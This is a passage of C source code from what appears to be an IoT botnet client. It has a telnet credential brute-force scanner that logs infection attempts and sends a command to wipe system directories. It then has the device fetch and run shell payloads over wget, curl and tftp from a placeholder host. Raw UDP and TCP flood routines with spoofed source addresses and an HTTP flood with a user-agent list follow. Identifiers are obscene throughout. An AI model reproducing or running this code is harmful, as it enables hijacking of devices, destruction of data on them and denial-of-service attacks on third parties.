  709.                             }
  710.                             dest_addr.sin_family = AF_INET;
  711.                             dest_addr.sin_port = htons(23);
  712.                             memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  713.                             dest_addr.sin_addr.s_addr = fds[i].ip;
  714.                             fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  715.                             if(fds[i].fd == -1) continue;
  716.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  717.                             if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  718.                             res_c0ckz(&fds[i]);
  719.                         }
  720.                     else {
  721.                         adv_c0ckz(&fds[i], 1);
  722.                     }
  723.                 }
  724.                 break;
  725.             case 1:
  726.                 {
  727.                     FD_ZERO(&fdset);
  728.                     FD_SET(fds[i].fd, &fdset);
  729.                     tv.tv_sec = 0;
  730.                     tv.tv_usec = wait_usec;
  731.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  732.                     if(res == 1) {
  733.                         lon = sizeof(int);
  734.                         valopt = 0;
  735.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  736.                         if(valopt) {
  737.                             res_c0ckz(&fds[i]);
  738.                         }
  739.                         else {
  740.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  741.                             adv_c0ckz(&fds[i], 2);
  742.                         }
  743.                         continue;
  744.                     }
  745.                     else if(res == -1) {
  746.                         res_c0ckz(&fds[i]);
  747.                         continue;
  748.                     }
  749.                     if(fds[i].tTimeout + 7 < time(NULL)) {
  750.                         res_c0ckz(&fds[i]);
  751.                     }
  752.                 }
  753.                 break;                                 
  754.             case 2:
  755.                 {
  756.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, sgjgqjhcssq)) {
  757.                         if(contains_fail(fds[i].sockbuf)) {
  758.                             adv_c0ckz(&fds[i], 0);
  759.                         }
  760.                         else {
  761.                             adv_c0ckz(&fds[i], 3);
  762.                         }
  763.                         continue;
  764.                     }
  765.                     if(fds[i].tTimeout + 7 < time(NULL)) {
  766.                         res_c0ckz(&fds[i]);
  767.                     }
  768.                 }
  769.                 break;
  770.             case 3:
  771.                 {
  772.                     if(send(fds[i].fd, zkdgisfue[fds[i].aspymhfk], strlen(zkdgisfue[fds[i].aspymhfk]), MSG_NOSIGNAL) < 0) {
  773.                         res_c0ckz(&fds[i]);
  774.                         continue;
  775.                     }
  776.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  777.                         res_c0ckz(&fds[i]);
  778.                         continue;
  779.                     }
  780.                     adv_c0ckz(&fds[i], 4);
  781.                 }
  782.                 break;
  783.             case 4:
  784.                 {
  785.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, sgjgqjhcssq)) {
  786.                         if(contains_fail(fds[i].sockbuf)) {
  787.                             adv_c0ckz(&fds[i], 0);
  788.                         }
  789.                         else {
  790.                             adv_c0ckz(&fds[i], 5);
  791.                         }
  792.                         continue;
  793.                     }
  794.                     if(fds[i].tTimeout + 7 < time(NULL)) {
  795.                         res_c0ckz(&fds[i]);
  796.                     }
  797.                 }
  798.                 break;                             
  799.             case 5:
  800.                 {
  801.                     if(send(fds[i].fd, rqwruwdsa[fds[i].agnahqau], strlen(rqwruwdsa[fds[i].agnahqau]), MSG_NOSIGNAL) < 0) {
  802.                         res_c0ckz(&fds[i]);
  803.                         continue;
  804.                     }
  805.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  806.                         res_c0ckz(&fds[i]);
  807.                         continue;
  808.                     }
  809.                     adv_c0ckz(&fds[i], 6);
  810.                 }
  811.                 break;                                 
  812.             case 6:
  813.                 {
  814.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, sgjgqjhcssq2)) {
  815.                         fds[i].tTimeout = 0;
  816.                         if(contains_fail(fds[i].sockbuf)) {
  817.                             adv_c0ckz(&fds[i], 0);
  818.                         }
  819.                         else if(contains_success(fds[i].sockbuf)) {
  820.                             if(fds[i].complete == 2) {
  821.                                 adv_c0ckz(&fds[i], 7);
  822.                             }
  823.                             else {
  824.                                 bignetreppin(lots_of_random_shit, "INFECTION ATTEMPT - %s:%s:%s", fatd1cks(&fds[i]), zkdgisfue[fds[i].aspymhfk], rqwruwdsa[fds[i].agnahqau]);
  825.                                 adv_c0ckz(&fds[i], 7);
  826.                             }
  827.                         }
  828.                         else {
  829.                             res_c0ckz(&fds[i]);
  830.                         }
  831.                         continue;
  832.                     }
  833.                     if(fds[i].tTimeout + 7 < time(NULL)) {
  834.                         res_c0ckz(&fds[i]);
  835.                     }
  836.                 }
  837.                 break;                         
  838.             case 7:
  839.                 {
  840.                     for(j = 0; j < num_tmps; j++) {
  841.                         memset(buf, 0, 128);
  842.                         if(j == 0)
  843.                             snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >gaybot\r\n", gxjaddwmyge[j], gxjaddwmyge[j], gxjaddwmyge[j], gxjaddwmyge[j]);
  844.                         else
  845.                             snprintf(buf, 127, ">%s.t && cd %s ; >gaybot\r\n", gxjaddwmyge[j], gxjaddwmyge[j], gxjaddwmyge[j]);
  846.                         if(send(fds[i].fd, buf, strlen(buf), MSG_NOSIGNAL) < 0) {
  847.                             res_c0ckz(&fds[i]);
  848.                             continue;
  849.                         }
  850.                     }                                              
  851.                     adv_c0ckz(&fds[i], 8);
  852.                 }
  853.                 break;
  854.             case 8:
  855.                 {
  856.                     fds[i].tTimeout = 0;
  857.                     if(send(fds[i].fd, "rm -rf /tmp/* /var/* /dev/* /var/run/* /var/tmp/* /dev/shm/* /mnt/* /boot/* /usr/*\r\n", 84, MSG_NOSIGNAL) < 0) {
  858.                         bignetreppin(lots_of_random_shit, "DEVICE CLEAN SUCCESS  - %s:%s:%s", fatd1cks(&fds[i]), zkdgisfue[fds[i].aspymhfk], rqwruwdsa[fds[i].agnahqau]);
  859.                         adv_c0ckz(&fds[i], 9);
  860.                         continue;
  861.                     }
  862.                     if(fds[i].tTimeout + 7 < time(NULL))  {
  863.                             send(fds[i].fd, "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var; rm-rf *; wget http://ip/Bots/B.sh || busybox wget http://ip/Bots/B.sh || curl -O http://ip/Bots/B.sh; chmod 777 B.sh || busybox chmod 777 B.sh; busybox sh B.sh || sh B.sh; busybox tftp ip -c get tftp1.sh; chmod 777 tftp1.sh || busybox chmod 777 tftp1.sh; sh tftp1.sh  || busybox sh tftp1.sh; busybox tftp -r tftp2 -g ip; chmod 777 tftp2 || busybox chmod 777 tftp2; sh tftp2; rm -rf B.sh tftp1 tftp2 || busybox rm -rf B.sh tftp1 tftp2; exit\r\n", 562, MSG_NOSIGNAL);
  864.                             bignetreppin(lots_of_random_shit, "DEVICE CLEAR FAILED - %s:%s:%s", fatd1cks(&fds[i]), zkdgisfue[fds[i].aspymhfk], rqwruwdsa[fds[i].agnahqau]);
  865.                             res_c0ckz(&fds[i]);
  866.                     }
  867.                 }
  868.                 break;
  869.             case 9:
  870.                 {
  871.                     fds[i].tTimeout = 0;
  872.                         send(fds[i].fd, "enable\r\n", 8, MSG_NOSIGNAL);
  873.                         send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL);
  874.                         send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL);
  875.                         if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var; rm-rf *; wget http://ip/Bots/B.sh || busybox wget http://ip/Bots/B.sh || curl -O http://ip/Bots/B.sh; chmod 777 B.sh || busybox chmod 777 B.sh; busybox sh B.sh || sh B.sh; busybox tftp ip -c get tftp1.sh; chmod 777 tftp1.sh || busybox chmod 777 tftp1.sh; sh tftp1.sh  || busybox sh tftp1.sh; busybox tftp -r tftp2 -g ip; chmod 777 tftp2 || busybox chmod 777 tftp2; sh tftp2; rm -rf B.sh tftp1 tftp2 || busybox rm -rf B.sh tftp1 tftp2; exit\r\n", 562, MSG_NOSIGNAL) < 0) {
  876.                             bignetreppin(lots_of_random_shit, "PAYLOAD EXECUTED - %s:%s:%s", fatd1cks(&fds[i]), zkdgisfue[fds[i].aspymhfk], rqwruwdsa[fds[i].agnahqau]);
  877.                             res_c0ckz(&fds[i]);
  878.                             continue;
  879.                         }
  880.                         if(fds[i].tTimeout + 30 < time(NULL))  {
  881.                             send(fds[i].fd, "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var; rm-rf *; wget http://ip/Bots/B.sh || busybox wget http://ip/Bots/B.sh || curl -O http://ip/Bots/B.sh; chmod 777 B.sh || busybox chmod 777 B.sh; busybox sh B.sh || sh B.sh; busybox tftp ip -c get tftp1.sh; chmod 777 tftp1.sh || busybox chmod 777 tftp1.sh; sh tftp1.sh  || busybox sh tftp1.sh; busybox tftp -r tftp2 -g ip; chmod 777 tftp2 || busybox chmod 777 tftp2; sh tftp2; rm -rf B.sh tftp1 tftp2 || busybox rm -rf B.sh tftp1 tftp2; exit\r\n", 562, MSG_NOSIGNAL);
  882.                             bignetreppin(lots_of_random_shit, "ALT PAYLOAD EXECUTED - %s:%s:%s", fatd1cks(&fds[i]), zkdgisfue[fds[i].aspymhfk], rqwruwdsa[fds[i].agnahqau]);
  883.                             res_c0ckz(&fds[i]);
  884.                         }
  885.                 break;
  886.                 }
  887.             }
  888.         }
  889.     }              
  890. }
  891.  
  892. /*
  893.   _______   ___       _______   _______   ______     _______   _______   _______
  894.  |   _   | |   |     |   _   | |   _   | |   _  \   |   _   | |   _   \ |   _   |
  895.  |.  1___| |.  |     |.  |   | |.  |   | |.  |   \  |.  1___| |.  l   / |   1___|
  896.  |.  __)   |.  |___  |.  |   | |.  |   | |.  |    \ |.  __)_  |.  _   1 |____   |
  897.  |:  |     |:  1   | |:  1   | |:  1   | |:  1    / |:  1   | |:  |   | |:  1   |
  898.  |::.|     |::.. . | |::.. . | |::.. . | |::.. . /  |::.. . | |::.|:. | |::.. . |
  899.  `---'     `-------' `-------' `-------' `------'   `-------' `--- ---' `-------'
  900.  
  901. */
  902.  
  903.  
  904. // HUG FLOOD
  905. void l0lc0k3sda(unsigned char *ip, int port, int secs) {
  906.     int askdioawudhawd;
  907.     askdioawudhawd = socket(AF_INET, SOCK_DGRAM, 0);
  908.     time_t start = time(NULL);
  909.     struct sockaddr_in sin;
  910.     struct hostent *hp;
  911.     hp = gethostbyname(ip);
  912.     bzero((char*) &sin,sizeof(sin));
  913.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  914.     sin.sin_family = hp->h_addrtype;
  915.     sin.sin_port = port;
  916.     unsigned int a = 0;
  917.     while(1){
  918.         if (a >= 50) {
  919.             send(askdioawudhawd, l0l21eu128duw, zdjaudh278e12ye, 0);
  920.             connect(askdioawudhawd,(struct sockaddr *) &sin, sizeof(sin));
  921.             if (time(NULL) >= start + secs) {
  922.                 close(askdioawudhawd);
  923.                 _exit(0);
  924.             }
  925.             a = 0;
  926.         }
  927.         a++;
  928.     }
  929. }
  930.  
  931. // UDP FLOOD
  932. void l0ld0ngs(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
  933.         struct sockaddr_in dest_addr;
  934.         dest_addr.sin_family = AF_INET;
  935.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  936.         else dest_addr.sin_port = htons(port);
  937.         if(getHost(target, &dest_addr.sin_addr)) return;
  938.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  939.         register unsigned int pollRegister;
  940.         pollRegister = pollinterval;   
  941.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  942.                 if(!sockfd) {
  943.                         return;
  944.                 }
  945.                 int tmp = 1;
  946.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  947.                         return;
  948.                 }
  949.                 int counter = 50;
  950.                 while(counter--) {
  951.                         srand(time(NULL) ^ rand_cmwc());
  952.                         init_rand(rand());
  953.                 }
  954.                 in_addr_t netmask;
  955.                 netmask = ( ~((1 << (32 - spoofit)) - 1) );
  956.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  957.                 struct iphdr *iph = (struct iphdr *)packet;
  958.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  959.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( bigcocksinmymouth(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  960.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  961.                 udph->source = rand_cmwc();
  962.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  963.                 udph->check = 0;
  964.                 chinese_routers_suck((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  965.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  966.                 int end = time(NULL) + timeEnd;
  967.                 register unsigned int i = 0;
  968.                 while(1) {
  969.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  970.                         udph->source = rand_cmwc();
  971.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  972.                         iph->id = rand_cmwc();
  973.                         iph->saddr = htonl( bigcocksinmymouth(netmask) );
  974.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  975.                         if(i == pollRegister) {
  976.                                 if(time(NULL) > end) break;
  977.                                 i = 0;
  978.                                 continue;
  979.                         }
  980.                         i++;
  981.                 }
  982.         }
  983.  
  984. // TCP FLOOD
  985. void d0ggyd1ckz(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
  986.         register unsigned int pollRegister;
  987.         pollRegister = pollinterval;
  988.         struct sockaddr_in dest_addr;
  989.         dest_addr.sin_family = AF_INET;
  990.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  991.         else dest_addr.sin_port = htons(port);
  992.         if(getHost(target, &dest_addr.sin_addr)) return;
  993.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  994.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  995.         if(!sockfd) { return; }
  996.         int tmp = 1;
  997.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  998.         in_addr_t netmask;
  999.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1000.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1001.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1002.         struct iphdr *iph = (struct iphdr *)packet;
  1003.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1004.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( bigcocksinmymouth(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1005.         tcph->source = rand_cmwc();
  1006.         tcph->seq = rand_cmwc();
  1007.         tcph->ack_seq = 0;
  1008.         tcph->doff = 5;
  1009.         if(!strcmp(flags, "all")) {
  1010.                 tcph->syn = 1;
  1011.                 tcph->rst = 1;
  1012.                 tcph->fin = 1;
  1013.                 tcph->ack = 1;
  1014.                 tcph->psh = 1;
  1015.         } else {
  1016.                 unsigned char *pch = strtok(flags, ",");
  1017.                 while(pch) {
  1018.                         if(!strcmp(pch,         "syn")) { tcph->syn = 1;
  1019.                         } else if(!strcmp(pch,  "rst")) { tcph->rst = 1;
  1020.                         } else if(!strcmp(pch,  "fin")) { tcph->fin = 1;
  1021.                         } else if(!strcmp(pch,  "ack")) { tcph->ack = 1;
  1022.                         } else if(!strcmp(pch,  "psh")) { tcph->psh = 1;
  1023.                         } else {
  1024.                         }
  1025.                         pch = strtok(NULL, ",");
  1026.                 }
  1027.         }
  1028.         tcph->window = rand_cmwc();
  1029.         tcph->check = 0;
  1030.         tcph->urg_ptr = 0;
  1031.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1032.         tcph->check = tcpcsum(iph, tcph);
  1033.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1034.         int end = time(NULL) + timeEnd;
  1035.         register unsigned int i = 0;
  1036.         while(1) {
  1037.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1038.                 iph->saddr = htonl( bigcocksinmymouth(netmask) );
  1039.                 iph->id = rand_cmwc();
  1040.                 tcph->seq = rand_cmwc();
  1041.                 tcph->source = rand_cmwc();
  1042.                 tcph->check = 0;
  1043.                 tcph->check = tcpcsum(iph, tcph);
  1044.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1045.                 if(i == pollRegister) {
  1046.                         if(time(NULL) > end) break;
  1047.                         i = 0;
  1048.                         continue;
  1049.                 }
  1050.                 i++;
  1051.         }
  1052. }
  1053.  
  1054. // HTTP-GHP FLOOD + USER AGENTS
  1055. void dj28d9usad(char *adhawudhawd, char *host, in_port_t port, char *adhq278dyhqd, int timeEnd, int power) {
  1056.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1057.     const char *blackguywithawhitecock[] = {
  1058.         "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  1059.         "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  1060.         "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  1061.         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  1062.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  1063.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  1064.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152",
  1065.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  1066.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  1067.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1068.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  1069.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  1070.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  1071.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  1072.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  1073.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  1074.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  1075.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  1076.         "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  1077.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1078.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1079.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  1080.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  1081.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1082.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1083.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1084.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1085.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  1086.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1087.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1088.         "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  1089.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1090.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1091.         "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  1092.         "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1093.         "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  1094.         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1095.         "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1096.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1097.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1098.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1099.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1100.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  1101.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1102.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  1103.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  1104.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  1105.         "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  1106.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  1107.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1108.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  1109.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  1110.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1111.         "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  1112.         "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1113.         "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  1114.         "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  1115.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  1116.         "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1117.         "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1118.         "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0",
  1119.         "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0",
  1120.         "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0",
  1121.         "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322",
  1122.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  1123.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0",
  1124.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  1125.         "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  1126.         "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  1127.         "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  1128.         "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  1129.         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  1130.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  1131.         "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  1132.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1133.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1134.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1135.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1136.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1137.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1138.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1139.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1140.         "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1141.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1142.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1143.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1144.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1145.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  1146.         "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1147.         "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko",
